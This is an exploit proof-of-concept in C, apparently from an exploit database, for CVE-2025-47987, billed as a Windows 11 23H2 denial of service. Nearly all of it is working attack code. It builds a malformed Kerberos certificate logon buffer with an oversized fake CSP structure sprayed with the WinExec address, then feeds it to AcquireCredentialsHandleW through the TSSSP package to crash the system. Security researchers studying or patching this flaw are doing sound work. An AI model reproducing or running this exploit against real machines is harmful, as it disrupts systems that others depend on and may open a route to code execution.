# Exploit Title: Windows 11 23H2 - Denial of Service (DoS)
# Google Dork: N/A
# Date: 2025-08-22
# Exploit Author: Kryptoenix
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-us/software-download/windows11
# Version: Windows 11 23H2
# Tested on: Windows 11 23H2 (x64)
# CVE: CVE-2025-47987
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <credssp.h>
#include <stdint.h>
#include <wchar.h>
#pragma comment(lib, "secur32.lib")
#define ALIGN_TO_8(x) (((x) + 7) & ~((size_t)7))
int BuildKerbCertLogonBuffer(
const WCHAR* username,
const WCHAR* domain,
const WCHAR* password,
const BYTE* certBlob,
DWORD certBlobSize,
BYTE** outBuffer,
DWORD* outBufferSize)
{
if (!username || !domain || !password || !certBlob || !outBuffer || !outBufferSize) return -1;
uint64_t usernameLen = (uint64_t)(wcslen(username) * sizeof(WCHAR));
uint64_t domainLen = (uint64_t)(wcslen(domain) * sizeof(WCHAR));
uint64_t passwordLen = (uint64_t)(wcslen(password) * sizeof(WCHAR));
size_t offsetUser = 0x48; // header is fixed 0x48 bytes
size_t offsetPassword = offsetUser + ALIGN_TO_8(usernameLen);
size_t offsetDomain = offsetPassword + ALIGN_TO_8(passwordLen);
size_t offsetCert = offsetDomain + ALIGN_TO_8(domainLen);
size_t totalSize = offsetCert + ALIGN_TO_8(certBlobSize);
BYTE* buf = (BYTE*)malloc(totalSize);
if (!buf) return -1;
memset(buf, 0, totalSize);
// 0x00: type
*(uint64_t*)(buf + 0x00) = 13ULL;
// username entry
*(uint64_t*)(buf + 0x08) = usernameLen;
*(uint64_t*)(buf + 0x10) = (uint64_t)offsetUser;
// password entry
*(uint64_t*)(buf + 0x18) = passwordLen;
*(uint64_t*)(buf + 0x20) = (uint64_t)offsetPassword;
// domain entry
*(uint64_t*)(buf + 0x28) = domainLen;
*(uint64_t*)(buf + 0x30) = (uint64_t)offsetDomain;
// cert offset/size
*(uint32_t*)(buf + 0x38) = (uint32_t)0x1337; // :)
*(uint32_t*)(buf + 0x3C) = (uint32_t)certBlobSize;
*(uint32_t*)(buf + 0x40) = (uint32_t)offsetCert;
// payload copies
memcpy(buf + offsetUser, username, usernameLen);
memcpy(buf + offsetPassword, password, passwordLen);
memcpy(buf + offsetDomain, domain, domainLen);
memcpy(buf + offsetCert, certBlob, certBlobSize);
printf("\nHeader of packed buffer (first 64 bytes):\n");
for (size_t i = 0; i < (totalSize < 64 ? totalSize : 64); ++i) {
printf("%02x ", buf[i]);
if ((i & 0x7) == 0x7) printf("\n");
}
printf("\n");
*outBuffer = buf;
*outBufferSize = (DWORD)totalSize;
return 0;
}
BYTE* BuildFakeCspData(
const char* str,
size_t strLen,
DWORD providerValue, // stored at header[5]
DWORD* outSize)
{
if (!str) return NULL;
size_t lenChars = strLen + 1;
size_t stringBytes = lenChars;
size_t headerBytes = 44; // 40-byte base + one DWORD offset
size_t totalBytes = headerBytes + stringBytes;
if (totalBytes < 0x30) totalBytes = 0x30;
BYTE* buffer = (BYTE*)malloc(totalBytes);
if (!buffer) return NULL;
memset(buffer, 0, totalBytes);
// header[5] = providerValue
((DWORD*)buffer)[5] = providerValue;
// header[6] = offset for string (in bytes from start of data area)
((DWORD*)buffer)[6] = 0;
// copy the string into the data area
BYTE* stringArea = buffer + headerBytes;
memcpy(stringArea, str, lenChars);
printf("Header of CSP buffer (first 44 bytes):\n");
for (size_t i = 0; i < headerBytes; ++i) {
printf("%02x ", buffer[i]);
if ((i & 0x7) == 0x7) printf("\n");
}
printf("\n\n");
if (outSize)
*outSize = (DWORD)totalBytes;
return buffer;
}
unsigned char* ptrToBytes(void* ptr, size_t* outLen) {
size_t len = sizeof(void*); // 8 bytes
unsigned char* buf = (unsigned char*)malloc(len);
if (!buf) return NULL;
memcpy(buf, &ptr, len); // copy pointer value into buffer
if (outLen) *outLen = len;
return buf;
}
unsigned char* BuildStringPattern(const unsigned char* pattern, size_t patLen, size_t repeatCount) {
size_t totalLen = patLen * repeatCount;
unsigned char* buf = (unsigned char*)malloc(totalLen);
if (!buf) return NULL;
// add padding for pointer allignment
memset(buf, 0, 4);
unsigned char* p = buf + 4;
for (size_t i = 0; i < repeatCount; i++) {
memcpy(p, pattern, patLen);
p += patLen;
}
return buf;
}
wchar_t* BuildWideStringPattern(const wchar_t* pattern, size_t repeatCount) {
if (!pattern || repeatCount == 0) return NULL;
size_t patLen = wcslen(pattern);
size_t totalLen = (patLen * repeatCount) + 1;
wchar_t* buf = (wchar_t*)malloc(totalLen * sizeof(wchar_t));
if (!buf) return NULL;
wchar_t* p = buf;
// copy pattern repeatedly
for (size_t i = 0; i < repeatCount; i++) {
wmemcpy(p, pattern, patLen);
p += patLen;
}
*p = L'\0';
return buf;
}
int main(void)
{
size_t addrLen;
unsigned char* addrBytes = ptrToBytes((void*)WinExec, &addrLen);
if (!addrBytes) {
fprintf(stderr, "Failed to allocate address bytes.\n");
return 1;
}
size_t repeatCount = 0x1FFFFFE0; // 0xFFFFFF00 = 8 * 0x1FFFFFE0
unsigned char* hugeStr = BuildStringPattern(addrBytes, addrLen, repeatCount);
if (!hugeStr) {
fprintf(stderr, "Failed to allocate huge buffer.\n");
free(addrBytes);
return 1;
}
DWORD fakeSize;
printf("Building fake CSP buffer...\n\n");
BYTE* fakeCsp = BuildFakeCspData((const char *)hugeStr, 0xFFFFFF00, 0x18, &fakeSize);
if (!fakeCsp) {
wprintf(L"Allocation failed\n");
return 1;
}
wprintf(L"Built fake CSPDATA size=0x%X\n\n", fakeSize);
//getchar();
SECURITY_STATUS status;
CredHandle credHandle;
TimeStamp expiry;
const WCHAR* username = L"exampleusername";
const WCHAR* domain = L"exampledomain";
const WCHAR* password = L"examplepassexamplepassexamplepassexamplepassexamplepass";
BYTE* buf = NULL;
DWORD bufSize = 0;
printf("Building fake KerbCertLogonBuffer...\n");
if (BuildKerbCertLogonBuffer(username, domain, password, fakeCsp, fakeSize, &buf, &bufSize) != 0) {
printf("Failed to build KerbCertLogonBuffer\n");
return 1;
}
printf("Trigerring the bug...\n");
status = AcquireCredentialsHandleW(
NULL,
(LPWSTR)L"TSSSP", // pszPackage (name of the security package)
SECPKG_CRED_OUTBOUND,
NULL,
buf, // pAuthData (pointer to authentication data)
NULL,
NULL,
&credHandle,
&expiry
);
if (status == SEC_E_OK) {
printf("AcquireCredentialsHandle succeeded\n");
FreeCredentialsHandle(&credHandle);
}
else {
if (status == SEC_E_INSUFFICIENT_MEMORY) {
printf("Not enough memory to trigger the crash :(\n");
printf("[-] PoC failed!\n");
}
else if (status == SEC_E_INTERNAL_ERROR) {
printf("\n[+] PoC succeded! Enjoy the crash >:D\n");
}
else {
printf("AcquireCredentialsHandle failed! Error: 0x%x\n",status);
printf("[-] PoC failed!\n");
}
}
if (buf) free(buf);
if(hugeStr) free(hugeStr);
if(fakeCsp) free(fakeCsp);
return 0;
}